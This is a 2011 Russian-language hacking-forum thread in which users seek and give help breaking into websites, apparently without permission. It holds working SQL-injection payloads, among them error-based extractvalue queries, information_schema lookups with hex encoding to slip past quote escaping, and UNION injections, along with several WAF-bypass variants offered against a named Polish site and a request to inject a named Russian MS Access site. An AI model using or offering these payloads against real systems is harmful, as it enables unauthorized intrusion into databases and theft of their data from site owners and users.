HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.09.2011, 13:54
Faaax
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
Провел на форуме:
124363

Репутация: 11
По умолчанию

есть вопрос:

собственно найти путь на сайте,всё перепробовал сайт на Windows NT

знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini

как ещё можно узнать где лежит дира с самим сайтом?
 
Ответить с цитированием

  #2  
Старый 20.09.2011, 14:07
maisonduweb
Новичок
Регистрация: 20.09.2011
Сообщений: 1
Провел на форуме:
230

Репутация: 0
По умолчанию

есть ли уязвимость в это коде (perl) :

if ( $section eq "view_file" ) {

check_user();

$file = $q->param('id');

my $statement = 'SELECT nid,filename, file FROM files WHERE id = ?';

$sth = $dbh->prepare($statement) or die print "Couldn't prepare statement: $DBI::errstr; stopped";

$sth->execute($file) or die print "Couldn't execute statement: $DBI::errstr; stopped";

while ( my $ref = $sth->fetchrow_hashref() ) { $nid = $ref->{'nid'}; $name = $ref->{'filename'}; $filename = $ref->{'file'}; }

$statemente = 'SELECT notes.call FROM notes WHERE id = ?';

$sth = $dbh->prepare($statemente) or die "Couldn't prepare statement: $DBI::errstr; stopped";

$sth->execute($nid) or die "Couldn't execute statement: $DBI::errstr; stopped";

while ( my $ref = $sth->fetchrow_hashref() ) {

$call = $ref->{'call'};

}

$statement = 'SELECT username FROM calls WHERE id = ?';

$sth = $dbh->prepare($statement) or die "Couldn't prepare statement: $DBI::errstr; stopped";

$sth->execute($call) or die "Couldn't execute statement: $DBI::errstr; stopped";

while ( my $ref = $sth->fetchrow_hashref() ) {

die_nice("Sorry you do not have access to this file") if $ref->{'username'} ne "$Cookies{'id'}";

}

print qq~Content-Disposition: attachment; filename="$name"\n~;

print "Content-Type: application/octet-stream\n\n";

if ( defined $file && $file ne "" ) {

open( LOCAL, ") {

print;

}

close(LOCAL);

}

}

все время открывается сам файл с ошибкой внутри в строке while () {
 
Ответить с цитированием

  #3  
Старый 20.09.2011, 14:20
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от Faaax  
попробуй jos_users занести в кавычки или в hex переведи
Первым делом, так и сделал, но результат не оправдал ожидания. Вопрос остаётся актуальным!
 
Ответить с цитированием

  #4  
Старый 20.09.2011, 14:32
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
По умолчанию

Цитата:
Сообщение от Faaax  
есть вопрос:
собственно найти путь на сайте,всё перепробовал сайт на Windows NT
знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini
как ещё можно узнать где лежит дира с самим сайтом?
поищи php.ini (тут где то была тема с путями для брута)
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #5  
Старый 20.09.2011, 15:28
Systematis
Новичок
Регистрация: 17.09.2011
Сообщений: 2
Провел на форуме:
407

Репутация: 0
По умолчанию

Как определить название БД, к которым относятся найденные таблицы?

Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.

Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.

MySQL 5.1.56, если что.
 
Ответить с цитированием

  #6  
Старый 20.09.2011, 15:52
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
Провел на форуме:
195266

Репутация: 53


По умолчанию

Цитата:
Сообщение от Systematis  
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
select group_concat(table_schema) from information_schema.tables where table_name='user'

если magic_quotes=on(экранирование спец символов), то надо перевести user в hex и писать table_name=0x75736572 вместо table_name='user'

Через запятую вывалит названия баз не больше первых 1кб(т.е. если баз дофига, то group_concat может вернуть не все).

Или на примере верхних двух постов
 
Ответить с цитированием

  #7  
Старый 21.09.2011, 16:02
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

Подскажите, как крутить MS Access http://www.kzr.spb.ru/news-temp.asp?id=-1' ?
 
Ответить с цитированием

  #8  
Старый 21.09.2011, 19:20
rad_scorp
Новичок
Регистрация: 09.09.2011
Сообщений: 12
Провел на форуме:
4017

Репутация: 1
По умолчанию

Друззя, снова я. Сразу к делу:

Код:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?

upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
 
Ответить с цитированием

  #9  
Старый 21.09.2011, 20:38
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


По умолчанию

Цитата:
Сообщение от rad_scorp  
Друззя, снова я. Сразу к делу:
Код:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?
upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
Это WAF.

Узнай что именно попадает под WAF, UNION или же UNION SELECT или же что-то еще.

И пробуй обойти, способов много.

Погугли на тему WAF Bypass, так же от Ефтеева есть презентация с некоторыми способами обхода WAF.

Как варианты попробуй:

Цитата:
Сообщение от None  
17+and+1=0+/*!union select*/ group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Цитата:
Сообщение от None  
17+and+1=0+/*!union*/ select group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Цитата:
Сообщение от None  
17+and+1=0%0aunion%0aselect%0agroup_concat(@@versi on),2,3,4,5,6,7,8,9,0--+
 
Ответить с цитированием

  #10  
Старый 21.09.2011, 22:25
justonline
Постоянный
Регистрация: 27.07.2011
Сообщений: 499
Провел на форуме:
179355

Репутация: 53
По умолчанию

Только учу sql injection.

Нашел сайт, вбил в поиск - 123' выдало

Цитата:
Сообщение от None  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''123'' IN BOOLEAN MODE)' at line 1
смущает IN BOOLEAN MODE (да...sql надо подучить) принцип тот же самый?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.